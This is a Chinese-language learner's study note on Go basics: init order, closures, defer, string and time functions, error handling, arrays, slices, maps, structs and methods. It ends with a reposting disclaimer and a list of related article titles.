可以发现 全局变量 > init > main

多个源文件都有init函数的执行流程

main.go

package main
​
import ("fmt""learn/add"
)
​
var num int = test()
​
func test() int {fmt.Println("test函数被执行")return 10
}
​
func main() {fmt.Println("main函数被执行")fmt.Println("name: ", addd.Name, "age:", addd.Age)
}
​
func init() {fmt.Println("init被执行")
}
​

add.go

package addd
​
import "fmt"
​
var (Age  intName string
)
​
func init() {fmt.Println("adDd的init被执行了")Age = 18Name = "fuck"
}
​
adDd的init被执行了   //package addd的init被执行
test函数被执行      // 全局变量
init被执行         //main中的init
main函数被执行      //main函数
name:  fuck age: 18//虽然导入内容为init  但是执行的函数是main

匿名函数

希望一个函数只被使用一次 那么就使用匿名函数
​
1 定义匿名函数的 是直接调用 这种方式的匿名函数只能使用一次
2 将匿名函数赋值给一个变量(该变量现在就是函数变量了) 然后再通过该变量调用匿名函数   (需要多次使用)
package main
​
import "fmt"
​
func main() {//定义匿名函数res := func(num1 int, num2 int) int {return num1 + num2}(10, 20)  // 这里可以发现 我们创建完直接调用fmt.Println(res)
}
​
package main
​
import "fmt"
​
func main() {//定义匿名函数res := func(num1 int, num2 int) int {return num1 + num2}a := res(1, 2)   //可以发现是通过res 接受到了函数变量 fmt.Println(a)
}
​
package main
​
import "fmt"
//这里是全局变量的匿名函数
var res = func(num1 int, num2 int) int {return num1 + num2
}
​
func main() {//定义匿名函数a := res(1, 2)fmt.Println(a)
}
​

闭包

函数和引用环境组成的一个整体
package main
​
import "fmt"
​
//函数名为 getSum 参数为空
// 返回值为一个函数 这个函数的参数类型是一个int 并且它的返回值为int
func getSum() func(int) int {var n int = 18return func(num int) int {n = n + numreturn n}
}
//闭包就是上面的匿名函数+n 
func main() {res := getSum()
​fmt.Println(res(1))fmt.Println(res(2)) //不是20 而是 21 说明 上面定义的函数 中的 n 被修改了 但是当被注释掉了 上面的1 时 就可以发现是20
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
19
21

总结一下 匿名函数 + 引用的变量和参数 == 闭包  // 依旧是匿名函数
​
返回的是匿名函数
闭包的参数会一直保存在内存中(一次运行的时候)----不可滥用 对内存消耗大
​
什么时候需要 就是需要参数一直保存在内存中的时候 就需要使用闭包

这里的话就是每次都需要传递参数进入(没有使用闭包)

defer关键字

函数执行完 defer释放关键字

package main
​
import "fmt"
​
func add(num1 int, num2 int) int {defer fmt.Println("num1", num1)defer fmt.Println("num2", num2)var sum int = num1 + num2fmt.Println("sum:", sum)return sum
}
​
func main() {fmt.Println(add(1, 2))
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
sum: 3
num2 2
num1 1
3

可以发现 defer是将内容存入栈中 先进后出 所以我们可以发现 首先输出了 sum --- > num2 ----> num1---->函数结束 到main

遇到defer关键字 不会立即执行defer后的语句 将defer后的语句 压入栈内 (后进先出)
继续执行下面的内容

defer的应用场景

关闭使用的资源 随手defer defer 存在延迟执行 (函数执行完毕再执行defer)

系统函数

len 统计字符串的长度
​
​

字符串的遍历

r :=[]rune(str)

package main
​
import "fmt"
​
func main() {str := "golang你好"for i, value := range str {fmt.Printf("索引为 %d,具体为 %c\n", i, value)}//利用切片fmt.Println("-----------------------------------------------------")r := []rune(str)for i := 0; i < len(r); i++ {fmt.Printf("内容为 %c\n", r[i])}
}
​

类型转换

n,err := strconv.Atoi()
​
s := strconv.Itoa()

package main
​
import ("fmt""strconv"
)
​
func main() {num1, err := strconv.Atoi("666")fmt.Printf("类型是: %t, %t\n", num1, err)
​num2 := strconv.Itoa(666)fmt.Printf("类型是: %t\n", num2)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
类型是: %!t(int=666), %!t(<nil>)
类型是: %!t(string=666)

查找子串 是否在指定的 字符串中

strings.Contains()

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Contains("nonono", "on")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
true

统计一个字符串中存在多少子串

strings.Count()
package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Count("nonono", "no")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
3

不区分大小写的比较

string.EqualFold()

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.EqualFold("heloo", "HELOo")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
true

区分大小写的字符串比较

package main
​
import ("fmt"
)
​
func main() {fmt.Println("hello" == "hEllo")
}
​

返回字符串第一次出现的索引值

strings.Index()
如果不存在是 返回 -1

package main
​
import ("fmt""strings"
)
​
func main() {a := strings.Index("abcdefg", "f")fmt.Println(a)
}
​
PS D:\GO\src\learn> go run "d:\GO\src\learn\main\main.go"
5

字符串的替换

strings.Replace("字符串","需要替换的字符串","替换为的值",n) // n为几个 -1 就是全部 其他就是个数

将字符串按照某个字符进行切割

arr := strings.Split("a-b-c-d",'-') //最后会变为一个数组

字符串大小写的切换

strings.ToLower("字符串")  //小写
strings.ToUpper("字符串")  //大写

将字符串左右两个空格去掉

strings.TrimSpace("        字符串       ")

将字符串左右两边指定的字符去掉 (或者指定左右)

strings.Trim("~~~字符串~~~","~")
strings.TrimLeft("~~~字符串~~~","~")
strings.TrimRight("~~~字符串~~~","~")

判断是否以指定字符串开头/结尾

strings.HasPrefix("https://baidu.com","https")
strings.HasSuffix("https://baidu.com","com")

日期时间函数

package main
​
import ("fmt""time"
)
​
func main() {a := time.Now()fmt.Println(a)fmt.Printf("%T\n", a)fmt.Printf("年:%v\n", a.Year())b := fmt.Sprintf("年:%v", a.Year())fmt.Println(b)  //通过 Sprintf 可以将字符串存储到变量中
}
​
2023-12-05 09:07:37.7813106 +0800 CST m=+0.001547901
time.Time  //结构体
年:2023

指定格式

package main
​
import ("fmt""time"
)
​
func main() {a := time.Now()fmt.Println(a)fmt.Printf("%T\n", a)fmt.Printf("年:%v\n", a.Year())b := fmt.Sprintf("年:%v", a.Year())fmt.Println(b)fmt.Println("---------------------------------------")cbd := a.Format("2006/01/02 15/04/04")//按照这种格式来写 这里内容需要固定 01 02fmt.Println(cbd)zbcd := a.Format("2006 15/04")  //可以发现任意组合即可fmt.Println(zbcd)
}
​
---------------------------------------
2023/12/05 09/18/18
2023 09/18

这里的时间是必须要为 2006/01/02 15/04/05

内置函数

len
new : 用来分配内存的 以第一个实参的类型 而不是值 返回值是指向该类型新分配的指针
​
package main
​
import "fmt"
​
func main() {num := new(int)fmt.Printf("%T\n%v\n%v", num, &num, *num)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
*int          发现是一个指针
0xc00005e020
0

分配内存的其他函数

make

错误处理机制

正常的报错

package main
​
import "fmt"
​
func main() {test()
}
func test() {num1 := 10num := 0result := num1 / numfmt.Println(result)
}
​
panic: runtime error: integer divide by zero
​
goroutine 1 [running]:
main.test()D:/GO/src/learn/main/main.go:11 +0x9
main.main()D:/GO/src/learn/main/main.go:6 +0xf 
exit status 2

发现这里是报错 状态2

错误捕获机制

格式

defer recover 
recover:允许程序 管理错误
再defer 中 执行 recover 捕获错误, 如果再defer外 就不会停止程序
package main
​
import ("fmt"
)
​
func main() {test()fmt.Println("但是被捕获后 代码还会继续执行")
}
​
func test() {//defer + recover + 匿名函数的调用defer func() {//调用recover 捕获错误err := recover()if err != nil {fmt.Println("捕获错误了")fmt.Println("错误为:", err)}}()num1 := 10num2 := 0res := num1 / num2fmt.Println(res)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\tempCodeRunnerFile.go"
捕获错误了
错误为: runtime error: integer divide by zero
但是被捕获后 代码还会继续执行

自定义错误

通过 err := errors.New("字符串")
输出为 "字符串"

package main
​
import ("errors""fmt"
)
​
func main() {err := test()if err != nil {fmt.Println("自定义错误:", err)}fmt.Println("但是被捕获后 代码还会继续执行")
​
}
​
func test() (err error) {num1 := 10num2 := 0if num2 == 0 {//抛出自定义错误return errors.New("除数不能为0!!")} else {res := num1 / num2fmt.Println(res)//正确就返回0值return nil}
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
自定义错误: 除数不能为0!!
但是被捕获后 代码还会继续执行

这里如果我们想报错后直接停止 我们可以使用 panic 函数实现

    if err != nil {fmt.Println("自定义错误:", err)panic(err)}
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
自定义错误: 除数不能为0!!
panic: 除数不能为0!!
​
goroutine 1 [running]:
main.main()c:/Users/Administrator/Desktop/go/src/learn/main/main.go:12 +0xdd
exit status 2

数组

package main
​
import "fmt"
​
func main() {//给出学生的成绩 总和和平均数var scores [5]intscores[1] = 95scores[2] = 91scores[3] = 39scores[4] = 60scores[0] = 21res := 0for i := 0; i < len(scores); i++ {res += scores[i]}fmt.Println(res)avg := res / len(scores)fmt.Println(avg)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
306
61

定义数组的格式

var 数组名字 [大小]类型
var num [6]int

数组的内存分析

package main
​
import "fmt"
​
func main() {var arr [3]int16fmt.Println(len(arr))fmt.Println(arr)fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])
​
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3
[0 0 0]
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc
// 能发现 数组开始是从 [0] 开始 并且是一块连续的空间   int16占2字节 所以占多大只是根据类型进行判断
package main
​
import "fmt"
​
func main() {var arr [3]int16fmt.Println(len(arr))fmt.Println(arr)fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])arr[0] = 10arr[1] = 20arr[2] = 30fmt.Println("---------------------------")fmt.Printf("%p\n", &arr) //打印地址出来fmt.Printf("%p\n", &arr[0])fmt.Printf("%p\n", &arr[1])fmt.Printf("%p\n", &arr[2])
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
3
[0 0 0]
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc
---------------------------
0xc00000a0b8
0xc00000a0b8
0xc00000a0ba
0xc00000a0bc

能发现 地址没有修改 只是修改了 地址中的值而已

数组的遍历

package main
​
import ("fmt"
)
​
func main() {//给出学生的成绩 总和和平均数var scores [5]int// scores[1] = 95// scores[2] = 91// scores[3] = 39// scores[4] = 60// scores[0] = 21for i := 0; i < len(scores); i++ {fmt.Printf("请录入第%d个学生成绩:", i+1)fmt.Println()fmt.Scanln(&scores[i])}//遍历输出//1 for 循环for i := 0; i < len(scores); i++ {fmt.Printf("第%d个成绩为:%d\n", i+1, scores[i])}fmt.Println("--------------------------------------")//2 for range 循环for key, value := range scores {fmt.Printf("第%d个成绩为:%d\n", key+1, value)}fmt.Println("--------------------------------------")//2 for range 循环for _, value := range scores {fmt.Printf("成绩为:%d\n", value)}
}
​
PS C:\Users\Administrator\Desktop\go\src\learn\main> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
请录入第1个学生成绩:
99
请录入第2个学生成绩:
98
请录入第3个学生成绩:
77
请录入第4个学生成绩:
5
请录入第5个学生成绩:
4
第1个成绩为:99
第2个成绩为:98
第3个成绩为:77
第4个成绩为:5
第5个成绩为:4
--------------------------------------
第1个成绩为:99
第2个成绩为:98
第3个成绩为:77
第4个成绩为:5
第5个成绩为:4
--------------------------------------
成绩为:99
成绩为:98
成绩为:77
成绩为:5
成绩为:4

可以发现 使用

for key,value := range 数组 {   //这里的话 key就接受到了下标值 value是下标对应的值
​
}
如果选择不接受的话 使用 _ 来忽略

数组的初始化

package main
​
import "fmt"
​
func main() {//1var arr1 [3]int = [3]int{1, 2, 3}fmt.Println(arr1)//2var arr2 = [3]int{2, 3, 4}fmt.Println(arr2)//3var arr3 = [...]int{1, 2, 3, 4, 5}fmt.Println(arr3)//4var arr4 = [...]int{2: 66, 6: 55}fmt.Println(arr4)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3]
[2 3 4]
[1 2 3 4 5]      
[0 0 66 0 0 0 55]

四种初始化的方式

数组的注意事项

【1】长度属于类型的一部分 :

【2】Go中数组属值类型,在默认情况下是值传递,因此会进行值拷贝。

【3】如想在其它函数中,去修改原来的数组,可以使用引用传递(指针方式)。

多维数组

package main
​
import "fmt"
​
func main() {var arr [2][3]int16fmt.Println(arr)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[[0 0 0] [0 0 0]]  //套娃 数组里 又是数组

二维数组的遍历

package main
​
import ("fmt"
)
​
func main() {
​var arr [3][3]int = [3][3]int{{1, 2, 3}, {4, 5, 6}, {7, 8, 9}}// fmt.Println(arr)//1for i := 0; i < len(arr); i++ {for k := 0; k < len(arr); k++ {fmt.Printf("arr[%d][%d]的值为%d\t", i, k, arr[i][k])}fmt.Println()}//2fmt.Println("---------------------------------------------")for key, value := range arr {for k, v := range value {fmt.Printf("arr[%d][%d]的值为%d\t", key, k, v)}fmt.Println()}
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
arr[0][0]的值为1        arr[0][1]的值为2        arr[0][2]的值为3
arr[1][0]的值为4        arr[1][1]的值为5        arr[1][2]的值为6
arr[2][0]的值为7        arr[2][1]的值为8        arr[2][2]的值为9
---------------------------------------------
arr[0][0]的值为1        arr[0][1]的值为2        arr[0][2]的值为3
arr[1][0]的值为4        arr[1][1]的值为5        arr[1][2]的值为6
arr[2][0]的值为7        arr[2][1]的值为8        arr[2][2]的值为9

切片

slice 是go中特定的类型

数组--> 长度不可变 给了就是多少
数组比较少用 切片较多
切片是对数组一个连续片段的引用 是一个引用类型

可以是整个数组 也可以是一个片段

package main
​
import "fmt"
​
func main() {var intarr [6]int = [6]int{1, 2, 3, 4, 5, 6}fmt.Println(intarr)//切片的定义 :是一个动态变换的数组 所以长度不写//[1:3] 大于等于1 小于3 (取不到3)var slice []int = intarr[1:3]fmt.Println(slice)//获取切片的容量fmt.Println(cap(slice))
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3 4 5 6]
[2 3]
5 

所以本质上还是一个数组

切片的内存分析

按照上面的来

所以这里我们对切片进行修改 数组的值也会修改 因为我们获取到的是数组的地址

引用数据类型

切片的定义

1

让切片去引用一个定义好的数组
var arr [3]int = [3]int{1,2,3}
qiepian := arr[1:2]

2

通过make内置函数进行创建
var 切片名[type = make([],len,[cap])]
package main
​
import "fmt"
​
func main() {qiepain := make([]int, 4, 20)fmt.Println(qiepain)qiepain[0] = 666qiepain[1] = 888fmt.Println(qiepain)
}
​

这里可以发现 是数组

make 是对底层创建一个数组 对外不可见 要通过 切片间接操作 不可以直接对数组进行操作

3

定义一个切片 指定具体的数组 对外不可操作 类似make
package main
​
import "fmt"
​
func main() {qiepian := []int{1, 2, 3}fmt.Println(qiepian)
}
​

切片的遍历

和普通数组差不多

package main
​
import "fmt"
​
func main() {
​slice := []int{1, 2, 3}//普通for循环for i := 0; i < len(slice); i++ {fmt.Println(slice[i])}fmt.Println("-----------------------------------")//for range 循环for key, value := range slice {fmt.Printf("第%d位的值为:%d\n", key+1, value)}
}
​

切片的注意事项

切片被定义不可直接使用 需要引用到一个数组 或者通过make 创建 空的数组

package main
​
import "fmt"
​
func main() {var slice []intfmt.Println(slice)
}
​
[]

切片被使用的时候不能越界

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了
}
​

切片的简写

var slice = arr[0:end] ------> var slice = arr[:end]
var slice = arr[start:len(arr)] ------> var slice = arr[start:]
var slice = arr[0:len(arr)] -------> var slcie = arr[:] 

切片可以连续切片

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice2 := slice[1:2]fmt.Println(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[3]

发现在切的时候 继续切

切片可以动态增长

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice2 = append(slice, 123)fmt.Print(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[2 3 4 123]

发现通过 append 实现了动态增长 其实这里的数组 slice 被拷贝到 slice2 并且加入 123了

但是一般使用的时候 不会通过新的 所以直接应该赋值给 slice

底层的新数组 slice 不能直接维护 还是需要通过切片间接维护操作

这里还可以追加 切片

package main
​
import "fmt"
​
func main() {var arr [6]int = [6]int{1, 2, 3, 4, 5, 6}var slice []int = arr[1:4]fmt.Println(slice)// fmt.Println(slice[3])  这里越界了 超出切片的范围了slice = append(slice, 123)fmt.Println(slice)slice3 := []int{1, 2, 3}slice = append(slice, slice3...)fmt.Println(slice)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[2 3 4]
[2 3 4 123]
[2 3 4 123 1 2 3]

发现是追加了切片内容

切片的拷贝(复制)

package main
​
import "fmt"
​
func main() {var slice []int = []int{1, 2, 3, 4}var slice2 []int = make([]int, 10)//拷贝copy(slice2, slice)   //slice ----> 复制给 ------> slice2fmt.Println(slice2)
}
​
PS C:\Users\Administrator\Desktop\go> go run "c:\Users\Administrator\Desktop\go\src\learn\main\main.go"
[1 2 3 4 0 0 0 0 0 0]

映射 MAP

将键值对 进行关联

其实就是一对匹配的信息
学生学号-学生姓名
2021 - xxx
键 key - 值 value

基本的语法

var 变量名 map[key]value
key 一般为 string int
value 一般 int string map  结构体

map是无序的 无法保证顺序

key重复就会按照最后一个存储的内容

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}fmt.Println(a)
}
​

最经常使用的存储数据的方式

对map的操作

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)
}
​
map[123123:张三]
-------------------------        
map[123123:张三 1231234:不是张三]

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[123123] = "不是张三"fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:不是张三]   

使用 delete(map,'key')

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)fmt.Println("-------------------------")delete(a, 1231234)fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:张三 1231234:不是张三]
-------------------------
map[123123:张三]

一次性清空 那么就进行遍历 / map 重新make一个集合

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​fmt.Println(a)fmt.Println("-------------------------")a[1231234] = "不是张三"fmt.Println(a)fmt.Println("-------------------------")delete(a, 1231234)fmt.Println(a)a = make(map[int]string)a[1] = "新的map"fmt.Println("-------------------------")fmt.Println(a)
}
​
map[123123:张三]
-------------------------
map[123123:张三 1231234:不是张三]
-------------------------
map[123123:张三]
-------------------------
map[1:新的map]

value,bool=map[key]
package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",}
​value, flag := a[123123]fmt.Println(value, flag)
}
​
张三 true

遍历查看

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",123311: "2222",}
​// value, flag := a[123123]// fmt.Println(value, flag)for key, value := range a {fmt.Printf("索引为%v对应的数为:%v\n", key, value)}
}
​
索引为123123对应的数为:张三
索引为123311对应的数为:2222

len查看

package main
​
import "fmt"
​
func main() {a := map[int]string{123123: "张三",123311: "2222",}
​// value, flag := a[123123]// fmt.Println(value, flag)fmt.Println(len(a))
}
​
2

对map的内容 map中的map

package main
​
import "fmt"
​
func main() {a := make(map[string]map[int]string)a["第一个"] = make(map[int]string)a["第一个"][1] = "nonono"a["第一个"][2] = "yesyesyes"for _, v := range a {fmt.Println(v)for _, v1 := range v {fmt.Println(v1)}}
}
​
map[1:nonono 2:yesyesyes]
nonono
yesyesyes

面向对象

结构体的引入

人 xxx : 姓名:111  age:18 性别:男
​
我们如果想表示这个人的对象的话
package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n xxxfmt.Println(n)n.name = "123"n.age = 18n.sex = "男"fmt.Println("---------")fmt.Println(n)
}
​
{ 0 }
---------
{123 18 男}

结构体的内存分析

package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n xxx = xxx{age: 18, name: "123", sex: "男"}fmt.Println(n)
}
​
{123 18 男}

创建的方式

package main
​
import "fmt"
​
type xxx struct {name stringage  intsex  string
}
​
func main() {//人 xxx : 姓名:111  age:18 性别:男
​var n *xxx = new(xxx)// n 现在变为了  指针(*n).age = 18(*n).name = "123"n.sex = "女" // 这里其实底层下 还是对n 进行n 转换 (*n).sex = "女"fmt.Println(*n)
}
​
{123 18 女}

所以我们一般都是使用 对象.属性

结构体之间的转换

和其他结构体转换的时候 必须要有相同的字段

package main
​
import "fmt"
​
type xxx struct {age int
}
type person struct {age int
}
​
func main() {var s xxxvar a persona.age = 18s = xxx(a)fmt.Println(s)fmt.Println(a)
}
​
{18}
{18}

如果对结构体 重新命名 那么golang中就认为是全新的结构体

package main
​
import "fmt"
​
type xxx struct {age int
}
type person xxx
​
func main() {var s xxxvar a persona.age = 18s = xxx(a)fmt.Println(s)fmt.Println(a)
}
​
{18}
{18}

方法

其实是结构体中的 行为/方法/动作 就是 方法
方法的函数的区别
方法:
type a struct{num int
}
func (A a) test(){fmt.Println(a.num)
}
​
调用:
var A a
a.test()
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func (a xxx) fmt() {a.age = 19fmt.Println("我是方法:", a.age)
}
func main() {var A xxx = xxx{age: 18}A.fmt()fmt.Println("我不是方法:", A.age)
}
​
我是方法: 19
我不是方法: 18

可以发现这里我们调用 fmt 方法 是类似于函数一样 但是其实本质的值是没有改变的

方法和结构体是绑定的 必须要声明为该对象

方法的注意

1

方法是值拷贝 不是引用

如果我们想修改值 需要通过 指针实现

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func (a *xxx) fmt() {a.age = 19fmt.Println("我是方法:", a.age)
}
func main() {var A xxx = xxx{age: 18}A.fmt()fmt.Println("我不是方法:", A.age)
}
​
我是方法: 19
我不是方法: 19

2

方法的权限

和函数一样 大小写 就区别了 本包和其他包访问

函数和方法的区别

方法:需要绑定指定数据类型
函数:不需要
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {fmt.Println(a)
}
​
//函数的定义
func functest(a xxx) {fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用a.test()//函数的调用functest(a)
}
​
{ 12}
{ 12}
方法:如果接受为值类型 可以传入指针 如果是指针类型 可以传入值
函数:定义了什么类型 就必须要什么类型的传入
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用a.test()(&a).test() //可以发现还是可以传入 指针类型 
}
package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
//方法的定义
func (a xxx) test() {a.age = 29fmt.Println(a)
}
​
var a xxx = xxx{age: 12}
​
func main() {//方法的调用(&a).test() //虽然传入了指针 但是因为方法中不是引用类型 而是值类型 所以不会修改原本的值fmt.Println(a)
}
​
{ 29}
{ 12}

在结构体的时候 对字段进行指定

1.按照顺序赋值

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
​
​
func main() {var s xxx = xxx{"123", 19}fmt.Println(s)
}
​
{123 19}

但是又局限性 不好

2.指定类型

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func main() {var s xxx = xxx{age: 19, name: "123"} //可以发现顺序不一样也无所谓fmt.Println(s)
​
}
​
{123 19}

3.返回结构体的指针

package main
​
import "fmt"
​
type xxx struct {name stringage  int
}
​
func main() {var n *xxx = &xxx{"123", 19 } //这个时候 n 就为指针了fmt.Println(*n)
​
}
​
{123 19}

跨包进行结构体的创建

其实一样 只要结构体为 大写
然后 import 包 
但是方法的时候 需要指定包 
包.结构体
package main
​
import ("fmt""learn/add"
)
​
func main() {var n add.Xxx = add.Xxx{"123", 19}fmt.Println(*n)
​
}
​

add

package add
​
type Xxx struct {name stringage  int
}
​

封装

1.首字母进行小写 类似私有
2.提供一个函数 首字母大写 
3. 提供Set方法 对方法进行访问
package main
​
import ("fmt""study/add"
)
​
func main() {p := add.NewXxx("小屋")p.SetAge(18)fmt.Println(p.Name)fmt.Println(p.GetAge())fmt.Println(*p)
}
​

add

package add
​
import "fmt"
​
type xxx struct { //其他包不能直接访问了Name string //可以直接访问age  int    //不可以直接访问 所以我们进行封装
}
​
// 定义工厂模式的函数
func NewXxx(name string) *xxx {return &xxx{Name: name}
}  //这样我们可以将外面的包 的值传入
​
//定义set和get方法 对 age进行封装 因为 函数中可以加一系列的限制 确保程序的安全
​
func (p *xxx) SetAge(age int) {if age >= 0 && age <= 150 {p.age = age} else {fmt.Println("nonono")}
}
​
//通过调用方法 对这个包中的私有参数 进行调试
​
func (p *xxx) GetAge() int {return p.age
} //需要通过函数对 私有参数进行返还
​

所以我们可以发现 如果我们想对私有进行操作 保护私有参数 我们需要通过函数来进行值/指针的传递 这里就是封装

继承

这个父类 被下面结构体作为一个匿名的结构体

其实类似于代码的复用

package main
​
import "fmt"
​
func main() {//创建实例cat := &Cat{}cat.Animal.Name = "丽丽"cat.Animal.shot()cat.scratch()
}
​
type Animal struct {Age    intName   stringWeight float32
}
​
//给anmial 绑定方法
​
func (an *Animal) shot() {fmt.Printf("%v在叫\n", an.Name)
}
​
//通过匿名结构体进行复用
type Cat struct {Animal
}
​
func (c Cat) scratch() {fmt.Println("我123")
}
​
PS D:\GO\src\study> go run "d:\GO\src\study\main\main.go"
丽丽在叫
我123

其实这里就体现了 定义一个结构体 然后嵌入即可实现

继承的注意事项

父类 无论大小写 都是可以被嵌入的(一个包)

上面其实可以不需要animal中

就是

func main() {//创建实例cat := &Cat{}cat.Name = "丽丽"cat.shot()cat.scratch()
}
​

不需要提及父类

并且这里会存在就近原则

如果cat中也有一个age 就会通过cat 的age

如果我们需要

那么就 cat.animal.age

go中支持多继承

 

这里是md文件复制进来的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/222657.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日期问题(C语言蓝桥杯2017年题目G)

分析&#xff1a;我们输入的AA/BB/CC有三种情况&#xff0c;所以我们编写一个函数&#xff0c;来判断三个数字作为 年 月 日是否合法&#xff0c;合法就输出&#xff0c;不合法就终止&#xff0c;还要查重&#xff0c;如果有相同的时间&#xff0c;就不重复打印&#xff0c;…

如何看待「前端已死论」?

&#x1f680; 作者主页&#xff1a; 有来技术 &#x1f525; 开源项目&#xff1a; youlai-mall &#x1f343; vue3-element-admin &#x1f343; youlai-boot &#x1f33a; 仓库主页&#xff1a; Gitee &#x1f4ab; Github &#x1f4ab; GitCode &#x1f496; 欢迎点赞…

微信小程序 实现上传图片前裁剪功能

前言 技术支持&#xff1a; wx-cropper 裁剪 总体思路是&#xff1a;安装完wx-cropper之后就它当成组件使用。在使用页面的地方引入组件就行。上传图片的逻辑不变&#xff0c;在 通过wx.chooseMedia() Api 拿到图片之后传递给子组件&#xff0c;子组件在拿到图片进行裁剪处理等…

路由器原理

目录 一.路由器 1.路由器的转发原理 2.路由器的工作原理 二.路由表 1.路由表的形成 2.路由表表头含义 直连&#xff1a; 非直连&#xff1a; 静态 静态路由的配置 负载均衡&#xff08;浮动路由&#xff09; 默认路由 动态 三.交换与路由对比 一.路由器 1.路由器…

快速多列查找匹配关键字

实例需求&#xff1a;根据第一列专业名称&#xff0c;在“专业分类指导目录”中&#xff0c;针对三个学历层次&#xff08;研究生、本科生、专科生&#xff09;分别查找对应专业类别&#xff0c;填写在对应位置&#xff0c;即截图中的黄色区域。 需要注意如下两点&#xff1a; …

Linux完成mysql数据库的备份与恢复

背景&#xff1a; 在进行数据报表的测试过程中&#xff0c;为了让我们的测试数据更加真实&#xff0c;因此我们需要同步生产数据到测试环境。方式有很多种&#xff0c;我这里介绍的是通过Linux完成数据同步。 备份数据&#xff1a; 执行命令&#xff1a;mysqldump -uxxx -pxxx…

PyCharm连接远程服务器

